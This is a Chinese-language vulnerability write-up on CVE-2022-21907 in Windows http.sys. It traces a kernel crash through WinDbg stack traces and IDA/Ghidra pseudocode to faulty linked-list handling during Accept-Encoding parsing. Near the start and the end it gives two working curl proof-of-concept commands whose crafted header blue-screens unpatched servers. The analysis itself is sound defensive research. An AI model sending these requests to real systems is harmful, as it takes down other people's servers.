CVE-2022-21907(Windows http.sys 远程代码执行漏洞)分析
1. 漏洞介绍
本月微软发布的月度安全公告中,有个 http.sys 存在远程代码执行的漏洞(CVE-2022-21907),攻击者可以在未授权的情况下发出特定的 HTTP 请求触发该漏洞。
详细参考微软更新:https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21907
漏洞信息如下:
严重等级 | Critical |
漏洞利用难度 | 低 |
Exp 公开程度 | PoC 已广泛传播,暂未见到利用代码 |
2. 漏洞分析
测试环境环境说明:
操作系统 | Windows 10 21H1 |
http.sys 版本 | 10.0.19041.906 |
为了方便调试,我根据公开的 PoC 做了下修改:
$ curl -H 'Accept-Encoding: AAAAAAAAAAAAAAAAAAAAAAAA, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, AAAAAAAAAAAAAAAAAAAAAAAAAAA, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, *, ,' http://192.168.56.111
PoC 触发了蓝屏后,打开 WinDbg 分析 DMP 文件,可以定位到问题出在 HTTP!UlFreeUnknownCodingList。
搭建好双机调试环境,并调试机上启动 WinDbg 进入内核调试(File -> Kernel Debug -> COM)。
先暂停调试(Ctrl+Break),给 UlFreeUnknownCodingList 下一个断点后继续运行:
kd> bp http!UlFreeUnknownCodingList kd> g
重新运行 Poc,让系统中断在 UlFreeUnknownCodingList,接下来查看栈回溯:
1: kd> kb # RetAddr : Args to Child : Call Site 00 fffff805`7e066c05 : ffffe309`13a58f50 ffffcd84`00000001 ffffcd84`b8f9a054 00000000`00000000 : HTTP!UlFreeUnknownCodingList 01 fffff805`7e03d201 : ffffeaab`cd39e9df fffff805`7e03fc76 00000000`00000016 fffff805`7e03d1b0 : HTTP!UlpParseAcceptEncoding+0x299c5 02 fffff805`7e0193d8 : fffff805`7dfe46e0 ffffcd84`b8f9a1d9 ffffe309`1469d050 00000000`00000000 : HTTP!UlAcceptEncodingHeaderHandler+0x51 03 fffff805`7e018ab7 : ffffcd84`b8f9a2a8 00000000`00000004 00000000`00000000 00000000`00000010 : HTTP!UlParseHeader+0x218 04 fffff805`7df74c5f : ffffe309`1418f8e8 ffffe309`1418f6d0 ffffcd84`b8f9a439 00000000`00000000 : HTTP!UlParseHttp+0xac7 05 fffff805`7df7490a : fffff805`7df74760 ffffe309`13a58d40 ffffe309`00000000 00000000`00000001 : HTTP!UlpParseNextRequest+0x1ff 06 fffff805`7e0148c2 : fffff805`7df74760 fffff805`7df74760 00000000`00000001 00000000`00000000 : HTTP!UlpHandleRequest+0x1aa 07 fffff805`78b18e85 : ffffe309`1418f750 fffff805`7dfe5f80 00000000`00000533 001fa47f`b19bbdff : HTTP!UlpThreadPoolWorker+0x112 08 fffff805`78bfe498 : ffffbd81`8d3ea180 ffffe309`13527040 fffff805`78b18e30 00000000`00000000 : nt!PspSystemThreadStartup+0x55 09 00000000`00000000 : ffffcd84`b8f9b000 ffffcd84`b8f94000 00000000`00000000 00000000`00000000 : nt!KiStartSystemThread+0x28
这里整理下调用关系:
UlParseHttp -> UlParseHeader -> UlAcceptEncodingHeaderHandler -> UlpParseAcceptEncoding (解析请求) (解析 HTTP 头) (解析 Accept-Encoding 字段) (解析 Accept-Encoding 内容)
从调用关系可以清楚地看到在解析 Accept-Encoding 头时出了问题后调用了 __fastfail,__fastfail 汇编代码如下:
HTTP!UlFreeUnknownCodingList+0x5e: fffff805`7e0af672 b903000000 mov ecx,3 fffff805`7e0af677 cd29 int 29h
整理下看看 __fastfail 是什么情况下触发的:
mov rdx,qword ptr [rcx] cmp qword ptr [rdx+8],rcx ; 第一个判断,失败就跳转到 __fastfail。根据调试,rcx、[rdx+8] 存放的是内存地址 jne __fastfail mov rax,qword ptr [rcx+8] cmp qword ptr [rax],rcx ; 第二个判断,失败就跳转到 __fastfail。根据调试,rcx、[rax] 存放的是内存地址 jne __fastfail __fastfail: mov ecx,3 int 29h
__fastfail 是从 Windows 8 开始引进的一个快速失败的函数,驱动程序中校验链表完整性时常被使用。从反汇编来看,UlFreeUnknownCodingList 是一个对链表做释放的函数,因为链表结构被破坏导致完整性检查失败而触发了 __fastfail。
用 IDA 把 UlFreeUnknownCodingList 转成伪代码如下:
void __fastcall UlFreeUnknownCodingList(_QWORD **list) { _QWORD *v2; // rcx __int64 v3; // rdx _QWORD *v4; // rax if ( (qword_1C0075CB0 & 0x2000) != 0 ) WPP_SF_q(166i64, &WPP_99cb88b77a1a346b67d54f0b5a9b3a63_Traceguids, list); while ( 1 ) { v2 = *list; if ( *list == list ) // 双向链表,判断是否遍历到表头 break; v3 = *v2; if ( *(_QWORD **)(*v2 + 8i64) != v2 || (v4 = (_QWORD *)v2[1], (_QWORD *)*v4 != v2) ) // 链表完整性校验,如果链表被破坏就触发 __fastfail,这里对应的就是上面提到的两次 cmp。 __fastfail(3u); *v4 = v3; *(_QWORD *)(v3 + 8) = v4; ExFreePoolWithTag(v2 - 2, 0i64); // 释放元素的内存空间 } if ( (qword_1C0075CB0 & 0x2000) != 0 ) WPP_SF_(167i64, &WPP_99cb88b77a1a346b67d54f0b5a9b3a63_Traceguids); }
顺便用 Ghidra 反编译下,可读性比 IDA 差很多,如下:
void UlFreeUnknownCodingList(LIST_ENTRY *param_1,undefined8 param_2,longlong *param_3,undefined8 param_4) { LIST_ENTRY *pLVar1; _LIST_ENTRY *p_Var2; _LIST_ENTRY *p_Var3; code *pcVar4; undefined *puVar5; undefined auStack40 [8]; undefined auStack32 [24]; puVar5 = auStack40; if ((DAT_1c0075cb0 & 0x2000) != 0) { param_3 = (longlong *)param_1; WPP_SF_I(0xa6,&WPP_99cb88b77a1a346b67d54f0b5a9b3a63_Traceguids,param_1); } /* 链表遍历 */ do { pLVar1 = param_1->Flink; /* 双向链表,判断是否遍历到表头 */ if (pLVar1 == param_1) { LAB_1c013f679: if ((DAT_1c0075cb0 & 0x2000) != 0) { *(undefined8 *)(puVar5 + -8) = 0x1c013f696; WPP_SF_(0xa7,&WPP_99cb88b77a1a346b67d54f0b5a9b3a63_Traceguids,param_3,param_4); } return; } p_Var2 = pLVar1->Flink; /* 链表完整性校验,如果链表被破坏就触发 __fastfail 对应的就是上面汇编中两次 cmp 操作 */ if ((p_Var2->Blink != pLVar1) || (p_Var3 = pLVar1->Blink, p_Var3->Flink != pLVar1)) { /* __fastfail */ pcVar4 = (code *)swi(0x29); (*pcVar4)(3); puVar5 = auStack32; goto LAB_1c013f679; } p_Var3->Flink = p_Var2; p_Var2->Blink = p_Var3; /* 释放元素的内存空间 */ ExFreePoolWithTag(pLVar1 + -1,0); } while( true ); }
重新调试。经过我结合静态分析来单步跟踪 HTTP!UlpParseAcceptEncoding 函数,发现这个漏洞只是一个指针操作失误引起的 bug,具体过程就不多描述了,单步调试慢慢观察吧。UlpParseAcceptEncoding 函数的伪代码如下(Ghidra 生成):
void UlpParseAcceptEncoding(undefined (*value_str*) [16],ulonglong param_2,undefined (*param_3) [16], undefined (*param_4) [16]) { LIST_ENTRY *pLVar1; undefined (*pauVar2) [16]; ushort uVar3; longlong lVar4; code *pcVar5; bool bVar6; int coding; undefined8 uVar7; _LIST_ENTRY **p; _LIST_ENTRY *p_Var8; _LIST_ENTRY *p_Var9; undefined *puVar10; undefined *puVar11; uint uVar12; undefined8 uVar13; undefined (*pauVar14) [16]; _LIST_ENTRY *p_Var15; _LIST_ENTRY *p_Var16; undefined auStackY232 [8]; undefined auStackY224 [24]; undefined (**ppauVar17) [16]; ushort local_98 [2]; uint local_94; uint local_90; _LIST_ENTRY local_88; int local_78 [2]; undefined (*local_70) [16]; _LIST_ENTRY local_68; undefined8 local_58; longlong local_50; undefined local_48; undefined4 local_47; undefined2 local_43; undefined local_41; ulonglong cookie; puVar11 = auStackY232; cookie = __security_cookie ^ (ulonglong)auStackY232; uVar13 = 0; p_Var9 = (_LIST_ENTRY *)(param_2 & 0xffffffff); local_68.Flink = (_LIST_ENTRY *)0x0; local_78[0] = 0; local_94 = 0; local_70 = (undefined (*) [16])0x0; local_98[0] = 0; local_88.Flink = (_LIST_ENTRY *)0x0; local_88.Blink = (_LIST_ENTRY *)0x0; pauVar14 = param_3; if ((DAT_1c0075cb0 & 0x2000) != 0) { uVar7 = uVar13; if (param_3 != (undefined (*) [16])0x0) { uVar7 = *(undefined8 *)param_3[4]; } pauVar14 = value_str*; param_4 = (undefined (*) [16])p_Var9; WPP_SF_qLqi(value_str*,param_2,value_str*,(int)p_Var9,(char)param_3,(char)uVar7); } if (((int)p_Var9 == 0) || (value_str* == (undefined (*) [16])0x0)) { LAB_1c00f6b2e: param_3[0x97][10] = 1; coding = 0; LAB_1c00cd3ba: puVar10 = auStackY232; if ((DAT_1c0075cb0 & 0x2000) == 0) goto LAB_1c00cd3ca; } else { local_88.Blink = &local_88; *(undefined4 *)(param_3[0x97] + 0xc) = 0x3e903e9; pauVar2 = (undefined (*) [16])((longlong)&p_Var9->Flink + (longlong)*value_str*); local_88.Flink = &local_88; *(undefined4 *)param_3[0x98] = 0x3e903e9; bVar6 = false; *(undefined4 *)(param_3[0x98] + 4) = 0x3e903e9; *(undefined2 *)(param_3[0x98] + 8) = 0x3e9; pLVar1 = (LIST_ENTRY *)param_3[0x99]; local_90 = 0; local_70 = pauVar2; if (pLVar1->Flink != pLVar1) { *(undefined2 *)(param_3[0x98] + 10) = 0; UlFreeUnknownCodingList(pLVar1,param_2,(longlong *)pauVar14,param_4); } while( true ) { p_Var16 = &local_68; local_98[0] = 1000; p_Var15 = (_LIST_ENTRY *)&local_94; ppauVar17 = &local_70; uVar12 = (uint)p_Var9; /* value_str* 就指向头里的那一串AAAA...字符串 */ coding = UlpParseContentCoding ((uint *)value_str*,uVar12,(int *)p_Var15,(uint **)p_Var16,local_78, local_98,(uint **)ppauVar17); if (coding < 0) { if (coding != -0x3ffffddb) goto LAB_1c00cd3b2; if ((local_70 == pauVar2) && (!bVar6)) goto LAB_1c00f6b2e; } /* UlpParseContentCoding 会解析失败,coding 返回值为 0,接下来会进入这个分支 下面就是一大堆晦涩难度的链表操作,单步调试慢慢观察吧 */ else { bVar6 = true; if ((local_94 == 5) || (6 < local_94)) { local_94 = 5; if (local_90 < 100) { p_Var16 = (_LIST_ENTRY *)0x0; p_Var15 = (_LIST_ENTRY *)0x58556c55; p_Var9 = (_LIST_ENTRY *)&DAT_00000020; p = (_LIST_ENTRY **)ExAllocatePoolWithTagPriority(1); if (p == (_LIST_ENTRY **)0x0) { coding = -0x3fffffe9; goto LAB_1c00f6bf3; } *p = local_68.Flink; *(undefined2 *)(p + 1) = (undefined2)local_78[0]; *(ushort *)((longlong)p + 10) = local_98[0]; p_Var8 = (_LIST_ENTRY *)(p + 2); if ((local_88.Blink)->Flink != &local_88) goto LAB_1c00f6cff; local_90 = local_90 + 1; p_Var8->Flink = &local_88; p_Var15 = (_LIST_ENTRY *)0x3e9; p[3] = local_88.Blink; (local_88.Blink)->Flink = p_Var8; p_Var9 = (_LIST_ENTRY *)((longlong)(int)local_94 * 2); uVar3 = *(ushort *)((longlong)&p_Var9[0x97].Blink + (longlong)(*param_3 + 4)); local_88.Blink = p_Var8; if ((uVar3 == 0x3e9) || (uVar3 < local_98[0])) { *(ushort *)((longlong)&p_Var9[0x97].Blink + (longlong)(*param_3 + 4)) = local_98[0]; } } } else if (*(short *)(param_3[0x97] + (longlong)(int)local_94 * 2 + 0xc) == 0x3e9) { *(ushort *)(param_3[0x97] + (longlong)(int)local_94 * 2 + 0xc) = local_98[0]; } } if (pauVar2 <= local_70) break; p_Var9 = (_LIST_ENTRY *)(ulonglong)(uint)((int)pauVar2 - (int)local_70); value_str* = local_70; } if (local_88.Flink == &local_88) { LAB_1c00cd3b2: if (coding < 0) { LAB_1c00f6bf3: if (local_88.Flink != &local_88) { /* 根据 DMP 文件分析及单步调试就能确认触发点在这里 这里判断如果指针没指向自身,说明还有数据需要释放 而因为上面对指针的操作失误,引起 UlFreeUnknownCodingList 调用了 __fastfail */ UlFreeUnknownCodingList(&local_88,p_Var9,(longlong *)p_Var15,p_Var16); } uVar7 = 1; UlSetErrorCode(param_3,1,(undefined (*) [16])0x0,p_Var16); if (8 < uVar12) { uVar12 = 8; } lVar4 = *(longlong *)(*(longlong *)(param_3[1] + 8) + 0x3c0); if (*(char *)(lVar4 + 0x620) != '\0') { local_68.Blink = (_LIST_ENTRY *)(param_3[4] + 8); local_47 = 0; local_43 = 0; local_41 = 0; local_58 = 0; local_48 = 0; local_50 = lVar4; McTemplateK0qxsqqbr4_UlEtwWriteEventWrapper (lVar4,uVar7,&local_68.Blink,coding,*(undefined8 *)(param_3[3] + 8), "InvalidAcceptEncodingHeader", (ulonglong)ppauVar17 & 0xffffffff00000000 | (ulonglong)*(uint *)(param_3[0x73] + 0xc),uVar12,value_str*); } } goto LAB_1c00cd3ba; } if (((local_88.Flink)->Blink == &local_88) && ((local_88.Blink)->Flink == &local_88)) { (local_88.Blink)->Flink = local_88.Flink; p_Var16 = (_LIST_ENTRY *)param_3[0x99]; (local_88.Flink)->Blink = local_88.Blink; p_Var15 = *(_LIST_ENTRY **)(param_3[0x99] + 8); if ((p_Var16->Flink->Blink == p_Var16) && (((p_Var15->Flink == p_Var16 && ((local_88.Flink)->Flink->Blink == local_88.Flink)) && ((local_88.Blink)->Flink == local_88.Flink)))) { p_Var15->Flink = local_88.Flink; *(_LIST_ENTRY **)(param_3[0x99] + 8) = (local_88.Flink)->Blink; (local_88.Flink)->Blink->Flink = p_Var16; (local_88.Flink)->Blink = p_Var15; *(short *)(param_3[0x98] + 10) = (short)local_90; p_Var9 = local_88.Blink; goto LAB_1c00cd3b2; } } LAB_1c00f6cff: pcVar5 = (code *)swi(0x29); (*pcVar5)(3); puVar11 = auStackY224; } if (param_3 != (undefined (*) [16])0x0) { uVar13 = *(undefined8 *)param_3[4]; } *(int *)(puVar11 + 0x20) = coding; *(undefined8 *)(puVar11 + -8) = 0x1c00f6d2a; WPP_SF_qiL(0xa9,&WPP_99cb88b77a1a346b67d54f0b5a9b3a63_Traceguids,param_3,uVar13,puVar11[0x20]); puVar10 = puVar11; LAB_1c00cd3ca: *(undefined8 *)(puVar10 + -8) = 0x1c00cd3e8; __security_check_cookie(cookie ^ (ulonglong)puVar10); return; }
其实要触发蓝屏,PoC 可以简化成如下:
curl -H 'Accept-Encoding: A, ,*, ,' http://192.168.56.111
3. 总结
从目前分析情况来看,这个漏洞似乎和远程代码执行没有太大的关系,并且 Windows 内核本身的保护机制就能让漏洞很难被利用。